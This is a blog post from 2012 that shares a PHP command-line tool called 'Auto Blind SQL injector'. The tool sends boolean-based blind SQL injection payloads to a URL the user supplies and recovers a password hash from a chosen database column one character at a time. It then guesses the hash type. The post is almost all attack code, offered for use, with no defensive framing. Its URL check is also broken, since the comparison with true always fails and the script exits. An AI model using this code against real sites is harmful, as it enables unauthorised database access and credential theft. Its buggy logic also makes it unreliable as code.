Rabu, 20 Juni 2012

Auto Blind SQL injector [PHP]

this script use to blind sql injection..
i Hate Blind..
hahaha...


Guess what it is like a guessing
==============================================


<?php 


echo "\r\n";
echo "\r\t\r\t##\r\n";
echo "\r\t\r\t#  Auto Blind SQL injector   #\r\n";
echo "\r\t\r\t#  By The Jock[e]r #\r\n";
echo "\r\t\r\t##\r\n";


echo "\r\nURL target :";
$page = trim(fgets(STDIN));//Wait a string and valid url before continue


if(filter_var($page, FILTER_VALIDATE_URL) !== true)//Test if var $page is correct URL
{
    echo "You entered an incorrect URL the program going to shut down automatically.";
    exit;
}


echo "\r\nDisplayed word :";
$pattern = trim(fgets(STDIN));//Wait a string before continue


echo "\r\nColumn target :";
$column = trim(fgets(STDIN));//Wait a string before continue


$lenght_max = 98;


echo "\r\n[+]Retrieving password's length...\r\n";


for($i=0;$i<=$lenght_max;$i++)
{
    $page2 = file_get_contents($page.urlencode("\" and length($column)=$i-- -"));


    if(preg_match("#$pattern#",$page2))
    {
        $lenght = $i;
        echo "\r\nThe password's length is $lenght.\r\n";
        break;
    }
}


$final_pass = "";


$char_min = 20;
$char_max = 140;


$char = $char_min;
$x = 1;


echo "\r\n[+]Retrieving password's hash...\r\n";


echo "\r\nFinal password is : ";


while($x <= $lenght) 
{
    $page3 = file_get_contents($page.urlencode("\" and lower(substring($column,$x,1)=char($char))-- -"));
    if(preg_match("#$pattern#", $page3))
    {
        $final_pass.= strtolower(chr($char));
        echo strtolower(chr($char));
        $x ++;
        $char = $char_min;
    }
    $char++;
}


$lenght_pass = $lenght;


echo "\r\n\r\n[+]Retrieving hash type...\r\n";


if($lenght_pass == 40)
{
    $type = "sha1";
}
elseif ($lenght_pass == 32) 
{
    $type = "md5";
}
elseif ($lenght_pass == 13) {


    $type = "DES(Unix)";
}
elseif (preg_match("#\\$1\\$#",$final_pass) AND $lenght_pass == 34) {


    $type = "MD5(Unix)";
}
elseif (preg_match("#\\\$apr1\\$#",$final_pass) AND $lenght_pass == 37) {


    $type = "MD5(APR)";
}
elseif (preg_match("#\\\$h\\$#",$final_pass) AND $lenght_pass == 34) {


    $type = "MD5(phpBB3)";
}
elseif (preg_match("#\\\$p\\$#",$final_pass) AND $lenght_pass == 34) {


    $type = "MD5(Wordpress)";
}


elseif ($lenght_pass == 16) {


    $type = "MySQL";
}
elseif (preg_match("#\\\*#", $final_pass) AND $lenght_pass == 41) {


    $type = "MySQL5";
    $final_pass = strtoupper($final_pass);
}
elseif (preg_match("#\\$5\\$#", $final_pass) AND $lenght_pass == 55) {


    $type = "SHA-256(Unix)";
}
elseif(preg_match("#\\$6\\$#", $final_pass) AND $lenght_pass == 98)
{
    $type = "SHA-512(Unix)";
}


echo "\r\nHash type for $final_pass is ".$type.".\r\n";


?>
=============================================

Auto Blind SQL injector [PHP] Rating: 4.5 Diposkan Oleh: r007-

0 komentar:

Posting Komentar